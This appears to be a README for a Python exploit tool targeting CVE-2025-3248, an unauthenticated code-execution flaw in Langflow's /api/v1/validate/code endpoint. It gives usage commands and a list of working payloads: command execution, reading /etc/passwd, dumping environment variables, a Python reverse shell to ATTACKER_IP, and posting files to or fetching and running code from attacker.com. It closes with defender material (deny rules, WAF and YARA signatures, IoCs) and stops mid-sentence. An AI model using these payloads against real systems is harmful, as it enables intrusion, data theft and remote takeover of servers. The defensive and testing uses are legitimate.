CVE-2025-3248: Langflow Unauthenticated RCE Vulnerability Scanner

A comprehensive Python exploitation framework for testing and demonstrating CVE-2025-3248, a critical unauthenticated remote code execution vulnerability in Langflow versions ≤ 1.3.0.

---

🔴 Vulnerability Overview

CVE-2025-3248: Langflow Code Injection RCE

Property	Value
CVE ID	CVE-2025-3248
Product	Langflow
Affected Versions	≤ 1.3.0
Vulnerability Type	Unauthenticated Remote Code Execution (RCE)
Attack Vector	Network
Authentication Required	None
CVSS Score	9.8 (Critical)
EPSS Score	92.57%
CWE	CWE-94 (Improper Control of Generation of Code)
Vulnerable Endpoint	/api/v1/validate/code

Root Cause

The vulnerability exists in the /api/v1/validate/code API endpoint, which accepts arbitrary Python code and validates it using Python's unsafe exec() function without proper input sanitization or sandboxing. The vulnerability exploits Python's behavior where:

1. Decorators are evaluated immediately during function definition
2. Default argument values are executed during Abstract Syntax Tree (AST) parsing
3. No input validation exists to prevent malicious code execution

Attack Chain

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

---

✨ Features

• ✅ Endpoint Detection: Automatically identifies vulnerable Langflow instances
• ✅ Multi-Stage Testing: 4 progressive vulnerability tests
• ✅ Command Execution: Execute arbitrary system commands on target
• ✅ Environment Extraction: Retrieve environment variables and configuration
• ✅ File Operations: Test read/write file capabilities
• ✅ Reverse Shell Support: Spawn interactive reverse shell sessions
• ✅ Version Detection: Identify Langflow version information
• ✅ Color-Coded Output: Enhanced readability with terminal colors
• ✅ Timeout Management: Configurable request timeouts
• ✅ SSL/TLS Bypass: Support for self-signed certificates

---

📦 Requirements

Python >= 3.7
requests >= 2.25.0

Install Dependencies

pip install requests

Optional (for better logging)

pip install colorama  # For Windows color support

---

🚀 Installation

Method 1: Clone from GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

---

📖 Usage

Basic Syntax

python3 cve_2025_3248_test.py -t <target_url> [options]

Quick Start Examples

1. Basic Vulnerability Scan

python3 cve_2025_3248_test.py -t http://target.com

2. Execute Custom Command

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Execute Multiple Commands

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Reverse Shell Exploitation (Authorized Testing Only)

Step 1: Start a netcat listener on your machine

nc -lvnp 4444

Step 2: Run the exploit

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Example:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Scan with Custom Timeout

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Command-Line Arguments

positional arguments:
  None

optional arguments:
  -t, --target TARGET       Target URL (e.g., http://target.com) [REQUIRED]
  -c, --command COMMAND     Command to execute (default: id)
  --timeout TIMEOUT         Request timeout in seconds (default: 10)
  --exploit                 Enable exploitation mode (reverse shell)
  --lhost LHOST            Your IP address for reverse shell
  --lport LPORT            Your port for reverse shell
  -h, --help               Show this help message

---

💾 Payload Variations

1. Decorator-Based Execution

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Default Argument Execution

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Data Exfiltration

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Reverse Shell (One-Liner)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. File Read Operations

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Environment Variable Enumeration

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Download and Execute

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

---

🔍 Detection & Mitigation

For Defenders

Immediate Actions

1. Upgrade Langflow

   pip install langflow>=1.3.0
   # or
   docker pull langflow:latest
   

2. Restrict Network Access

   # Nginx reverse proxy - block vulnerable endpoint
   location /api/v1/validate/code {
       deny all;
   }
   

3. Implement Authentication

   # Add authentication middleware
   @app.middleware("http")
   async def auth_middleware(request, call_next):
       if "/api/v1/validate/code" in request.url.path:
           if not verify_auth(request):
               return JSONResponse(status_code=401)
       return await call_next(request)
   

WAF Rules

ModSecurity Rule:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Detection Rules

YARA Signature:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Monitoring & Logging

# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indicators of Compromise (IoCs)

• Unusual POST requests to /api/v1/validate/code
• Spawned processes from Langflow with suspicious names
• Unexpected outbound connections from Langflow server
• Files created with unusual timestamps in /tmp
• Python subprocess execution from Langflow process
• Authentication failures followed by API requests
• Spike in CPU/Memory usage from Langflow container

---

🔬 Technical Analysis

How the Vulnerability Works

The vulnerability chain works as follows: